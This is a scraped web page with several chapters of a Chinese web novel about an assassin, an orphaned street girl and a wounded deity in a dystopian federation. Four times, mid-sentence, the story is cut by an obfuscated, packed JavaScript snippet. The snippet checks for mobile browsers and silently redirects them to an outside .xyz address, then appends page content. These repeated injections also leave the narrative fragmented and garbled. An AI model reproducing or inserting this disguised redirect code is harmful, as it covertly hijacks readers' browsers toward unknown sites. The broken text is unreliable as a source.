;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449309|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,手环在他腕上发出剧烈的震动。 他堪堪下移视线焦点。 “墨隧提示:委托帮第二执行人烬土与您的距离已不足80米,请您谨慎行事,尽量规避与其正面对抗,建议您即刻向南撤离,避免被杀。” 腰链帮的头目惨叫一声,跌坐在地上,□□立刻湿了一片。 他哆哆嗦嗦地关掉手环提示,口中不断重复着那个恐怖的代号:“是她……烬土,真的是烬土……” 听到确切答案,碍于头目威严才留下的喽啰们顷刻哄作鸟兽散。眼见着人手一哄而散,黎明会、无言的小头目见势不对也跟着一溜烟跑掉,只剩下腰链帮头目一人狼狈不已地脱力趴在地上。 “不要丢下我!不要丢、不、你不要过来!不要……” 狭长的黑影从火焰另一侧投下,那个恐怖的怪物变得愈发庞大、几乎近在咫尺。黑影拿着某物将手抬至胸前。 他知道她在擦枪!还偏偏走得极慢! 恐惧令呼吸愈发急促,嗓子像是被棉绳勒住,腰链帮头目两眼一翻,竟然直接昏死过去。 面具没管对方,把手里的燃油一股脑扔进火里。 “假情报是你给的,真是害我白跑一趟。” 黑瘦矮小的小姑娘突兀蹭到面具身边,一双眼睛滴溜溜转个不停,嘴上却万分埋怨,一看就知道是个多鬼马机灵的人。 见她突然出现,面具皱了皱眉:“你怎么在这?” 小姑娘神采奕奕地晃了晃手环:“恭喜伟大的烬土执行人蛰伏三年重出江湖啊——诺,委托发布时间改好了,还顺便帮你接了委托,不客气。” 底利马的水大多不干净,它的孩子甚至连声音都不如联邦人清脆悦耳。 小姑娘的声音沙哑粗糙,像一粒沙不停磨在气管,暗红色的旧痂愈合到一半又渗出新血。 面具闻言并没有显得很开心,但在她眼里,反正面具一直就这样。 至于高不高兴。 管她嘞,自己可是好心办好事! “底利马之后或许会更乱,你带着那些孩子躲好了就已经足够了,不要做更多的事情。” 鬼马小姑娘装模做样地反问对方,语气讥讽:“你谁呀,这么命令我?” 面具声音微冷,甚至难得有些不容置喙。 “魏嘉禾,我知道你在底利马的眼线和暗桩,也知道你跟帮派的合作。我只是看在你为了那些孩子的份上才睁一只眼闭一只眼。” 魏嘉禾斜着眼垮着胯,伸手掏了掏耳朵,满不在乎地点了点头:“啊,对对对,你说得都对。” 面具并不在乎她吊儿郎当的模样。 “你很聪明,但还太年轻,被你利用的那些人只是底利马中最无足轻重的一群人,他们甚至连在底利马和上联的博弈中被牺牲的价值都没有。你那些小把戏我能看透,就也会有别人看懂。现在没人动你不是因为你把所有人玩弄于股掌之间,只是你还上不了桌而已。” 魏嘉禾做作地哈了一声,言语间毫不退让:“我经验不足?是我帮你处理的尾巴欸,烬、土、阁、下!我上不了台面?我没这资格能来告诉你徐启培他哥已经回底利马了,能告诉你他那药罐子妈快死了?” 9. 第七场 两小儿辩善 面具背着火光,魏嘉禾看不见她的表情,却能听出面具隐隐变冷的语气:“魏嘉禾,你可以再说一遍。” 魏嘉禾根本不管面具生不生自己那句“药罐子”的气,反而变本加厉。 “我也没说错啊,你不会真想救人吧?啊,靠着爱与正义感化那个狼心狗肺的清高蠢货?没必要吧,等老的死了,带走小的,剩一个打入敌营的中不溜。没有牵挂、一往无前,多好!我也不是威胁他徐启明,毕竟我会照顾他那傻缺弟弟。但他总不能一点报酬不付不是?” “说完了吗,说完了就回去把我留给你的书再抄三百遍。” 魏嘉禾被面具气笑了:“你脑子有病吧!我抄那一眼就背过的玩意干嘛,当饭吃?!” 面具依旧没什么反应,显然对魏嘉禾不痛不痒的攻击不甚在意。 “记在脑子里不够,魏嘉禾,你得把道理记在心里。一个三百遍记不住就再抄,抄到你明白为止。如果装都装不出来,你就不用留在底利马了,我会让徐启明代替你照顾那些孩子。” 魏嘉禾不说话了。 没办法,打不过。 等她哪天打得过了,就一拳打断烬土两条腿,把她锁在小基地,让她天天在禁闭室抄那些破书! 抄抄抄!手腕抄断了算! “你可以试试看,我说过兼修对你而言不算难。” 像是看穿了魏嘉禾的心中所想,面具淡淡开口,语气轻描淡写到略显真诚。 魏嘉禾顿时被面具的讽刺气得咬牙切齿,她恶狠狠地咬着后槽牙,反而杀气腾腾地抿起嘴冲着对方微笑起来。 “仓鸮在后巷捡了台报废的机器人,不像流通型号,但是做工比市场上的都精巧。我修得差不多了,头那里总修不好,让他给你拿过去了。帮我看看?” 面具点头,没有再说什么。 魏嘉禾带着面具向机车方向快步走去,眼底燃起一团冰冷的火。 总有一天,底利马的孩子也能坐在教室听老师讲书本上的道理。 面具跟在魏嘉禾身后,分心想着事。 魏嘉禾很聪明,这是她放心魏嘉禾照顾那些孩子的重要一点。但更难能可贵的是,她其实没有表现得那么糟糕。 事实上,这群在底利马无家可归的孩子们最早都是魏嘉禾自己一个一个捡回来照顾带大的。 小姑娘从来没觉得不对,反而觉得理所当然、天经地义。 她第一次见到魏嘉禾是在四年前。 年轻的寡妇带着两个孩子搬迁至底利马,一个八岁黑瘦小丫头在此蹲了两个星期点,终于摸透了对方的情况,抬手敲开了那扇门。 那位温柔的妇人只拉开一条缝,看到了瘦弱的小姑娘便心生不忍,转身舀了一小碗粥。 小丫头接过粥没有喝,反而伸手抓住了妇人的衣服,瞬间神色大变,一改可怜无助的神色,眼神刁钻如逮住猎物的凶禽。 她要那妇人再多给一些。 妇人吓得连忙挣脱,却想不到小姑娘看着瘦小羸弱,手劲却大得吓人。无奈之下,那位温柔的妇人只得解释自家也没有多余的食物。 小姑娘神色愈发狠厉,恶声恶气道一句面具至今记忆犹新的话。 “少他爹废话,你没有多的敢随便开个门就给人饭?” 事实上当年魏嘉禾的话已经不少暗示,随便开门、给人粮食。 只是那时妇人并不明白。 她只是如遭雷击,呆愣愣站了两秒,眼中渐渐噙满泪水,大概是想不到孩子怎么能坏到这种程度。 小姑娘一脸仍理所应当,乖戾的眸子寒气逼人。 或许是妇人终于心灰意冷,她终于神色冷漠地一把推开小女孩,转身关上门,没有再给倒在地上的小女孩任何一个眼神。 而面具就在暗处,看着小女孩起身,端着那碗一滴都没撒的素粥回到一个满是流浪儿的偏僻小屋。 一群孩子们围着同样没多大的八岁小女孩,姐姐长姐姐短得喊着,眼神既信服又钦佩。 他们对小女孩的亲近就像雏鸟一睁眼看到母亲那样,依赖比亲昵更多,信任占据了全部。 小女孩将粥递给某个大点的孩子,其余没有分到的孩子也不闹。她略带笑意地看着他喝完,又带碗回到那位妇人家门口,蹲下身用袖子轻轻将碗擦净,小心翼翼地放到墙边,拿草掩了掩。 而后,她起身一声不吭地注视着那扇以后都不会轻易打开的院门,姿势别扭地鞠了一躬。 最后那个每天偷偷和妇人家学“如何认真向他人表达感谢”的小女孩神色平静起身,看不出一点伤心。 面具其实看不见她的表情,但无论是那扇紧锁的门还是瘦瘪的背影,都显得万分哀伤。 在那位小女孩十分尊敬的妇人心里,她已经是一个坏透了的孩子了。 但面具知道不是这样。 只有面具知道不是这样。 四年前的小小背影与眼前这个一如昨日的身影重合。 沉重好像是底利马人命运的底色,而偏激是魏嘉禾与生俱来的本色。 就像四年前她为了让被帮派盯上的好心妇人免遭毒手,亲自以孩子的身份出演恶的缩影,让对方认清底利马面目。 如今魏嘉禾的想法依旧如此。 忽略她极具个人风格的表达模式,她真正的意思是提醒面具母子三人的情况,侧击旁敲地希望她救下妇人。 这种过激的风格在以往的底利马未必是坏事,可上联与底利马之间的矛盾势必愈演愈烈,这四年她能力渐长,又有过激向偏执转化的趋势...... “如果不是我身边太危险、底利马的孩子交给别人我不放心,我应该把你带在身边。”面具快走几步,与魏嘉禾并肩同行,“魏嘉禾,记住我的话,底利马浑水太深,不要涉足其中。你们是底利马的未来,底利马总有要靠你们的那一天,不必急于一时。” 至于连魏嘉禾都修不了的机器,多半是亚富科技内部流出的产品。 问题在于底利马在最北,海弄区在最南,被仓鸮捡到是否太过巧合? 面具想着,打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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面具故意挨了男孩两拳后,一脚将徐启明撂倒在地上,摔得徐启明眼冒金星。 小孩还没反应过来,已经跟鸡崽子似的被人面无表情地单手提溜起来。那人什么也没说,把他摆到地上就招呼魏嘉禾和他对打。 徐启明一下就蒙了。 魏嘉禾也在气头上,咣当一拳就砸在徐启明脸上,半点力气没省。徐启明本来摔得头昏脑胀,挨了一拳也不愣着了,眼神都清明了许多,抡起胳膊就开始动手反击。 两个孩子再如何早熟也终究不过八岁。所谓仇人见面分外眼红,两人迅速扭打在一起。 魏嘉禾按着徐启明一顿猛锤,经过面具训练后她手臂力气大得吓人,徐启明躲也躲不开,打也打不过,一边哭一边闭着眼四处乱掐。 10. 第八场 两大智辩愚 不一会儿两小孩脸上身上就都挂了彩。 不过魏嘉禾相对伤得轻了那么一点,徐启明对这个事实接受无能,爆发出惊人的格斗多样性,乱拳招呼起魏嘉禾。 魏嘉禾起初还顾及着面具在场,用着点技巧,被徐启明三番五次击中后,也干脆撒开膀子不管不顾地瞎打起来。 两人嚷嚷着什么“去死”“打死你”之类的话就冲着彼此的脸抓过去了。 正打到兴头上的俩小孩突然感觉身子一轻,面前该死的敌人竟然离自己越来越远,顿时疯了似的嗷嗷大叫,手上动作毫无章法地乱挠乱掐。 直到面具把徐启明丢出大门,拎着魏嘉禾在空中上下甩了两下,张牙舞爪的小丫头才冷静下来。 但她倔得像野草,肯弯腰不肯认输。 小丫头猫着腰死死瞪着若有所思的面具,嘴上依旧大骂大叫,滋儿哇啦得吵个不停。 其实她已经知道面具为什么把他们分开。 “混蛋!干嘛把他丢出去!老娘我能把他打得他妈都不认识!我——” “从明天起,我会给你们带各种书籍,不理解的可以随时问我。别人我不管,你每个星期要看完三本、每个月要抄完一本书才算完成目标。” “烬土我c——” “这种脏话每说一次,要看的书就多一本。” “你他——” 面具把鸡崽子一样的小不点放下。 “我教你的技巧只是一方面,实战中只有保持理性才能有更高的可能性活下去。你可以不择手段,但不能被情绪控制大脑。” 小野草呵呵一笑。 “想想你明明做得是好事,为什么别人会记恨你,为什么在意的人只给你白眼。” “因为他们都是蠢货!他们脑子被烙环砸了!” 面具不留情面嘲讽道:“因为你是蠢货,你想不出好的办法,也不知道怎么解释自己的好心。” 小姑娘自尊心强,听不得一点别人对自己智力的批评,面具这话刚刚好往她心里最疼的地方扎。 魏嘉禾发了疯地咆哮起来,把嗓子都喊成了破锣:“我不是!他们才是!聪明人能明白,你就知道我做的是好事!都是他们的问题!” 面具沉默了一会,忽然喊了她“小野草”。 面具问她,她的名字是什么。 “我没有名字。以前收养我的那群人叫我小野草。在我四岁的时候,他们把我丢了。” “嗯,你是对的,小野草不是名字,名字是对一个孩子的祝福。” “那你给我起个名字!” “我不能。” “我就要你给我起名字,你不是说名字是祝福吗,我不要自己祝福自己,太可怜了!我要你的祝福,我就要你祝福我!” 面具沉默许久,两人大眼瞪小眼地互相较劲。 直到倔种小孩的眼睛红了,眼泪蓄水般漫进眼框,面具无奈退了一步:“那就……嘉禾吧。茁壮野蛮地生长,然后去迎接属于你的美好未来。” “姓我要自己取。” 她抄了一个月的联邦字典,最后给自己取了“魏”字作姓。 为嘉禾、为家和。 魏嘉禾甩了甩脑袋。 什么陈年老醋也拿出来晾,人家刚把你一个人丢这就不记得啦! 切,还说什么因为她光有小聪明不好好学习,反侦察的能力这么弱,才会被徐启明跟踪。不就是后来给他们换了个小基地吗,牛什么!早生几年了不起啊,她要到这个年纪早把上联推平了! “死烬土、徐启明,我怎么会摊上你们这样的蠢货!自以为是!自大狂!还不如小可儿省心!” 不过转念一想,面具回沉金只剩半个小时睡眠时间了,她就又幸灾乐祸起来了,一瞬间底利马带着腥气的海风都清爽起来了。 “哼,活该,早晚英年早秃!” 凌晨四点的费可已经陆续有了往来车辆。 面具不赶时间,开着自动驾驶功能眯了二十分钟,醒来又打开手环处理信息。 3月23日3:46 【Cover】:回去了。 【半拉苹果】:好。 3月23日4:02 【Cover】:她怎么回事。 【半拉苹果】:(引用“半拉苹果”信息) 面具这才看到仓鸮在一天前就给自己发了情报,但被程序吞了。 【Cover】:程序出问题了,九点半让影子把手环拿来。 【半拉苹果】:好。 面具关上手环,忽然反应过来一件事。 魏嘉禾刚才刻意和她一起多走了会,是有什么情报要说? 那为什么不直接说? 她又打开手环。 3月23日4:05 【Cover】:你刚要说什么。 她等了两分钟。 零个人上线回复。 面具干脆关闭手环继续睡觉。 刚才当面都没说,估计也不重要。 魏嘉禾眼睁睁看着纯黑头像上线两分钟下线,边框再也没有亮起来,把打到一半的字一个个删掉,皮笑肉不笑地摘下手环。 她尽量控制力道没有把边缘按键捏碎。 不隐藏在线状态很了不起吗! 她一个底利马人买不起精神链接输入怎么了!!! ………… 面具四点二十左右才到地下基地。 神明没睡,在圣堂等着她的结果,明天要给底利马的线人。 简单汇报情况、再洗漱完,就接近五十了。 坐在圣堂住所的小床上,面具忽然有点怀念没在神明手底下干活时,一个人在家摆烂的日子。 怀着对不可追青春的“沉痛怀念”,她睡到五点半起来晨练,八点跟着神明在圣堂聆听信众的祷告和神明夸张的布教,八点半散会处理了两名举止怪异的探子,又在八点四十五回到房间把加密通讯的程序代码简单修了一遍。 3月23日9:20 面具放倒仓鸮前一天晚上送来的机器人,一人高的机器顷刻占满了房间所剩无几的狭小过道。面具只能坐在地上把需要的工具尽量铺在她和机器的缝隙里充分利用空间。 在家摆烂的三年里,有段时间她几乎天天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449311|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都在研究亚富的机器,拆修对她而言只是耗时间的事,这让她有时间边修边想四大家族这几年的变化,以及需要注意的几个重量级人物。 衣食住行、吃喝玩乐,四大家族掌握了联邦的方方面面。 洛克斐涉猎最广,能源、教育、技术;其次是孟家,军备、金融,进了费可等同进了人家大本营;克家和歌莎由于一段历史,排名反而暧昧。前者管着医疗运输,后者则靠文化娱乐发家,如今通过农业混出个风生水起,硬生生挤进第一序列。 她在脑子里形成一套权利体系图。 联邦第一家族,洛克斐家族,势力庞大,人脉涉及方方面面。 除了现任总统,联邦中心学院的毕业生一类的傀儡外,对于洛克斐家主沃尔而言,他身边还有被任命为央行行长的夫人海肯迪娅、在上联当议员的长子尤利安、在海弄当议员的妹妹库莲和管理78号的长女西奥。 洛克斐通过占领技术领域作为军备基础,教育行业垄断高等人才,央行配备技术,可以时刻监视孟家及费可区——甚至必要时,系统后门可以强制接管高级武器权限。 这就是联邦第一家族的三大立身之本。 第二家族孟家,管理联邦财政和各企业部门。 现任家主孟弈是个老谋深算的政客。 他先是借口对抗底利马不法武装势力在洛克斐手下的国防部横插一脚;接着又巧用底利马特殊参选名额把自己人送进军备处,变着花样向费可送军备物资。 帮派骂的那个叛徒何朴,就是一位被孟家提拔的底利马人,现就任于国防部下属军备处。 下一任家主,孟汲,同样令人在意。 国务卿父亲孟弈、费可议员小姨宋希茗、国防部长姑父达尔、财政部长表姐孟安……孟汲在表姐手下,明面上只有财务部副部长的头衔,手中却掌握着大量实权。 她总觉得孟弈对孟汲的安排显得极为特殊。 可惜孟弈心思叵测,做事滴水不漏,三年来身边的人一点蛛丝马迹不留,做事干净到了匪夷所思的程度,她什么情报也没有查到。 另外两大家族没什么好说的。 只有一点,根据78号内源源不断被送来的小孩数量,以及克谭偶尔的微妙表现,她推测克家极有可能依靠医疗领域的优势和洛克斐结盟。 78号现在的人手明显不足,也许克家会变成一个不错的突破口。 “叩叩叩。” 面具听到敲门声,看了眼表。 是仓鸮。 “你直接进来。” 门被轻轻推开一条小缝,黑影从裂缝中丝滑流入,来到面具身边把仓鸮的手环递了过去。 面具见怪不怪地从影子手里接过手环与自己的交互一番。 “没被人发现吧?” 影子乖巧敲了两下地板,以示没有。 “是亚富机器,我一时半会修不完,最近也没时间修,你帮我拿到金街吧。” 影子敲了一下地面,面具把手环放进它手里,起身准备给它开门。 “面具!”神明的声音隔着门就透了进来。 “躲起来。” 11. 第九场 停滞的时局 影子甚至没等面具说什么,就已经钻到了床下的阴影中。 “门没锁。”面具说。 “那我进来啦!”神明推开门,看着面具满地机械工具,吃惊开口,“我的天呐,面具,你干什么呢?” “修东西。有事出去说,屋里站不开了。” “你还会修机器人?” 神明充耳不闻地跑过去,眼睛亮晶晶地,一副没见过世面的样子。 “别挤。” “欸,这东西?” 神明忽然发现什么,又挤近了些想抓起机器人拿起来看看。 “砰——” 手在接触机器人的瞬间忽然失力。神明砰得一声昏倒在地,提到一半的机械骤然倒下,被面具手疾眼快地接住。 “醒醒?”面具把手里的机械搁在地上,伸手摇了摇昏睡不醒的神明。 影子听到声音从床下爬了出来,它疑惑地指向机械。 面具沉默两秒开口:“不用送了,你回去吧。” 影子听话地敲了一下地面,开门要走。 面具眼尖地看清影子空空如也的双手:“等等。” 影子回头。 “手环呢?” 影子顿住。 面具觉得自己好像从某种无实体的存在身上看到了名为尴尬的情绪。 影子扭捏地窜到床下拿起手环,飞一样地逃离现场,毫不顾忌地把破旧的小门甩上。 面具看看被砰地关上的门,又看看倒在地上呼呼大睡的神明,站在一片狼藉中扶额叹了口气。 这都什么啊。 她打开手环给魏嘉禾发了条消息。 3月23日9:38 【Cover】:机器人出了点特殊问题,暂时送不回去了。 【Cover】:你凌晨要说什么。 3月23日9:40 【草似赏恋蝶】:你要的东西徐启明手里有。他已经通过78号的内部考核,因为是特招凌晨回来了一趟,托我把他家人转移走了。人现在应该在下联集训,下次回底利马是29号。 面具退出聊天软件,到社交界面看了眼徐启明的昵称。 “卧日尚怜蝶”。 3月23日9:41 【Cover】:别早恋。 【草似赏恋蝶】:? 【草似赏恋蝶】:你脑子有病吧!品坏饭中毒,膨胀鬼券炸成白吃了! 【Cover】退出了聊天频道。 魏嘉禾莫名其妙地关上手环:“神经。” 3月23日11:10 倒在面具屋里的神明终于醒了,但不是痴心的身体,而是被面具扶到墙角的亚富机器人。 “面具!救救我,我四肢动不了了!” 老实说,在短短两个小时的时间内碰上这么多神人神事,面具对神明会从机械身躯中苏醒这件事已经见怪不怪了。 一位神明、古海遗脉,因为机械的关节没有润滑油被卡在墙角了。 这种事被报到网上都起不成号。 而且她当时不应该扶机械的。 面具到床边伸手探了下痴心的鼻息:“还活着。” 神明听到人没死的消息震惊地张大了嘴,甚至忘了质问面具为什么不给自己解决关节问题。 “啊?她怎么可能……” “你没遇到过这种情况?” “你当谁都能成为我的容器吗!” 面具嗯了一声,掀了掀痴心的眼皮:“你估计她有多久醒?” “你得让我凑近点看啊。”空灵飘渺的声音从高处倾落。 “你怎么又用上布教的声音了?” 面具疑惑道,又看了两眼躺在床上的痴心。 检查无果,这属于她不能理解的精神问题了。 “面具……你正眼看看我,我不信你两眼空空。”神明幽幽地说。 面具闻言回头,发现机器人的下巴掉了半截。 难怪说话自带混响。 她从工具箱里拿出润滑油,先给神明的下巴合上,再将油涂抹到各个关节槽。 “好了,试试。” 神明试探地移动到了床边,张了张嘴。没等祂说什么废话,面具率先开口:“她情况如何?” 神明走到痴心身边感知了一下。 “灵魂……完整……咦?!” 祂瞬间回头看向面具。 和想象的焦急不同,面具靠在墙上,与平常一样对祂的一惊一乍无动于衷。她眼前依旧盖着那条破黑罗,只能通过眉头和嘴角动作判断她的心情。 看来是自己高估她了,她就是个冷漠无情的女人。 见神明回头不说话,面具问:“怎么了,有问题?” 神明摇头:“没呀。” “咦什么?” “哦——”神明又一次尝试感知那股熟悉的感觉。 不会错,是仙域赐福…… 仙域赐福怎么会在这小丫头身上? 神明调整好表情,笑眯眯地开口:“她的灵魂不但没被冲击湮灭,还因祸得福,灵魂强度提高了几十倍不止。” 怎么回事? 仙域赐福为什么会在这? “我对这种事没有概念。” “嗯……我想想,怎么说呢?” 神明托着腮想了想,看起来在认真想怎么给人类解释清与神有关的概念。 实则她已经慌作一团。 许多疑问在脑海中展开,没有答案,却又格外重要。 是他们已经追到这里了? 或者是因为自己的附身给她带来了仙域的赐福吗? 这种样本,她还从未见过…… 神明不动声色地调整着机械内自己的情绪,这时候她感谢起了这具机械身体的僵硬和丑陋。 “你可以理解为,等她苏醒,也会拥有一部分我的能力。”神明说。 “你有什么能力?” 神明噎住:“什么叫我有什么能力!” 面具调整了一下自己的姿势:“哦,那我换个问法。您从三年前见到我时就是负伤的状态,我只见您吸收过信众的信仰之力,却从未见过您使用神力。作为信徒希望自己侍奉的神明是强大的存在,产生这样的疑问不是很正常吗?” “你们的时间如何与神界的概念混为一谈,三年的信仰只不过堪堪将我的伤口疗愈至无瑕。”神明傲慢地扭过头,“至于能力——这不是还有你吗,不然我留你在身边做什么呢,面具。” 面具笑了:“连饼都不愿意给我画了,您骗她时动的脑子比对我多得多啊。” 神明没理解面具这话的潜台词。 “她一个金街东的大小姐——” 神明忽然意识到不对。 她第一次找面具时也是在金街东。 联邦历 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449312|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 296年初,墨隧委托事件爆发。 墨隧新注册的执行人烬土在三个月内接了整整六十桩委托,无一失手。 所有委托都是针对各家族内部成员和上联政要的暗杀行为,难度系数极高,积分给的也丰厚。六十桩委托结束后,昵称为烬土的新人执行人排名立刻跃升至第二。 而排名第一的“数据”注册时间与墨隧重组时间几乎相当,恐怖的接单量达到了独一份的断层级别,多数墨隧榜的人都达成了对方是一个组织的共识,因而墨隧第二的权威性毋庸置疑。 同年一月,洛克斐先后派了两拨人追杀烬土全军覆没,直接导致烬土在墨隧停了半个月洛克斐发布的委托。 至一月底,其他家族趁机借烬土之手或名义铲除了许多处于自己政敌位置的洛克斐人。 很快,不仅仅是洛克斐这个被杀鸡儆猴的受害者,所有家族都通过她的态度意识到自己需要一个游走在暗处的无名利刃。 只要有她存在,无论是不是真的墨隧委托,他们都有了更多的操作空间。 为了不得罪这个顶级杀手,洛克斐很快撤销了对烬土的暗杀。 事实上——四大家族也认清了问题的关键,同样是杀手,烬土和普通人完全不是一个级别的。 在四大家族的纵容下,烬土在接单的那一年里赚的盆满钵满。 联邦历297年,烬土因未知原因消失。 根据信徒们的各种说法和所剩无几的赐福,神明拼凑出了一个联邦都存疑的真相: 墨隧的烬土和78号的面具是同一个人。 伪神的存在引起了联邦的注意,她已经没有保护自己的能力,不得不寻找一个拥有足够实力还不为联邦工作的人。 面具就是她的目标。 所以神明找上了面具在金街东的独栋。 然后被面具抓起来反向“拷打”了一个多小时。 她在痴心的记忆里学到了类似的定义:压力面试。 和痴心保研面试流程一样,发挥是失败的,面试官是刻薄的,结果是莫名其妙的。 总之就是稀里糊涂通过的意思。 但她都不知道面具为什么就愿意心甘情愿跟着自己了。 不过想到自己吃着无数闭门羹,好不容易拼着灵魂差点消散才蹲点到“摆烂在家”的面具,一进去又被这个冷血理性的杀手盘问半天,神明就满身冒怨气。 祂把视线转回躺在床上的大小姐身上,做了几个深呼吸。 金街东的人也不都是那么可恶…… “我应付你费的脑子才多,你别胡说八道。” 面具不置可否,只是偎在原地,对着痴心的方向发呆。 一时半会拿不到关于78号的情报,这边进展也不算顺利,看起来还得等人醒来才能有新信息。 面具不说话,神明也不闲着。祂一个人一会摆弄摆弄痴心,一会低头研究研究自己的新身体。 在触碰机器的瞬间,她也感受到了赐福。不是仙域的,具体是什么她也没反应过来,等她醒来时那种赐福已经不见了。 估计是错觉? 不过是不是都无所谓,反正只要不是仙域就没关系。 想通了,心情好起来了,脑回路也转到了别处。 神明突然神采奕奕地想到一个新点。 “面具,我现在这样,算不算你们所谓的机械飞升?” 面具:? 12. 第十场 白日下的母亲 神明进机械后面具没修好的地方就自动修完了,当时两人都没注意这个微不足道的事实。 到了下午,神明感觉自己体内好不容易积攒的赐福莫名流失了,才明白机械是怎么好的。 原来她当时感受到的赐福是自己的! 神明尖叫着让面具赔,面具没办法,只好临时在加密通讯里给新信众发来集聚的信息召开集会。 3月23日13:20 【Cover】:“特吕斯,跑团俱乐部。” 名字长度代表了时间,配合不定期更新的对照表,用于匹配首字代表的是上午或下午。 温莎简易解码,下午三点到目的地。 她是第一次参与集会,从埃森到那里需要差不多两个小时,一点二十的临时通知可以说完全没有考虑她的处境。 这让她的观感很不好。 他们的宣语是神爱世人,会拯救世间一切苦难。现在看来也只是个属于人的两面三刀组织。 她一股脑将早准备好的材料塞进包里,抓住包就风风火火地出了门。 那也要去! 她的人生已经跌到谷底,向哪里走都是上行。 还有什么能比上联更差的呢? 3月23日14:43 车况不好,公交被堵在路上,估计得迟到半个小时了。 温莎坐在后排揉着自己的腰,一脸懊恼。 出门太急,也不知道怎么抻到了,自从剖腹产后腰疼的毛病就没停过…… “咚咚。”车窗传来一阵敲击声。 温莎扭过头,看到一个黑色机车服女人支着摩托,伸手敲着自己的这块车窗。 见她回头,女人指了指自己的手环。 温莎下意识打开手环。 3月23日14:43 【Cover】:“下车。” 温莎一愣,惊讶地看向女人,手环的消息提醒在耳麦中响起。 【Cover】:“别愣着,下车。” 温莎不再愣神,站起身大声和司机道:“师傅,麻烦您开下门,我有急事要下车!” 温莎一下车就看到那女人不知道什么时候绕到门的右侧。 她把头盔丢到温莎怀里:“上车,我们赶时间。” 温莎丝毫没有犹豫地戴上头盔,坐在女人身后,伸手抱住她。 “抓紧点,车速会很快。” 她听到女人冷冰冰的声音从头盔内置音响中传来。 “你是……面具吗?传说中神明手下神秘的二把手?” “神明说你家离圣堂远,情况又特殊,让我来接你。护腰在你身后,过了这段路是直线,你可以戴上。” 温莎愣住了。 头盔的封闭空间让声音更加聚拢,女人沉稳的语气本身就使人感到安心。一股暖流划过干涸的心脏,温莎红了眼睛。 她已经很久没有感受过这样的温暖了。 还好来了…… “谢谢。” 面具听到女人哽咽的道谢,嗯了一声,不再说话。温莎也识趣地没有继续说什么。 抽泣声时不时从音响中传来,面具一路疾速穿梭于被按下暂停键的车流,既没有安慰也没有制止。 她只是沉默地做着自己的事,像是不会受到外界的丝毫影响。 色彩各异的车辆在风中化成缤纷的油彩,温莎感觉自己好像在看什么解压跑酷视频,心口一轻,像是移开一座大山,终于接触到了新鲜的空气。 她愣了愣。 从什么时候起,自己连一点点轻松的心境都不再拥有了呢? 在面具再一次变道加速冲出后,温莎意识到刚才她竟然因为别人一句话就从机动车道步行换了个乘。 她敬畏地瞄了面具一眼,这个话很少的女人更是并行在公交侧、直接上手敲窗的强者。 这已经不是常人了…… 她愈发期待神明能给自己带来的改变。 3月23日15:00 白袍信徒照例检查了温莎携带的物品,收走了她的手环。 面具把她带到所谓的俱乐部就离开了,房间里除了白袍人还有两个普通人,她被排在最后一个。 当时她有些忐忑地和他们交流,以为是什么老信众想询问些经验,结果发现对方与自己一样也是新来的人。 两个人出乎她的意料,一个来自底利马,一个来自费可。 来自费可的女人低声告诉温莎,神明大人的信徒们天南海北地来,甚至在上联区都有信徒作为眼线。 温莎还没和底利马人说两句话,一个白袍信徒就走过来给他套上了头套带走。剩下的费可女人习以为常,温柔地安慰她说前面人都是这样的。 温莎道谢后不知道继续说什么,女人垂着眸子不知道在想什么。两人安静地站在自己的一小块区域,没有再继续交流。 很快,女人也被带走了。 白袍人把头套戴在她头上,低声告诉她别害怕,在七拐八拐中把人带到了圣堂拱门前。 如果是面具接自己之前,看到白袍人的这些行为,最后还让她交手环,她肯定还是要犹豫一下的。 但现在,她愿意交付自己全部的信任了。 信徒一手握拳放于胸前向她鞠躬请她进入,温莎深呼吸,推开小小的木门。 “你好,温莎,很高兴见到你,我是神明。” 莹白的灵态少女在巨大的水族箱上方转了一个圈,气泡在白裙中上浮、鼓裂。 温莎的情绪也随之胀破。 3月23日15:03 光芒。 浅金色的丝线从虚空中投落,自发缠绕上她的手腕脚踝,轻若无物。 上方的光芒不断变亮,她伸出手向上探去。丝线似乎察觉到她朦胧的心绪,将她从地面带起。 缓慢升起的途中,她低头。 脚下是一片无垠的星空。 不,是一面碎裂的镜子。 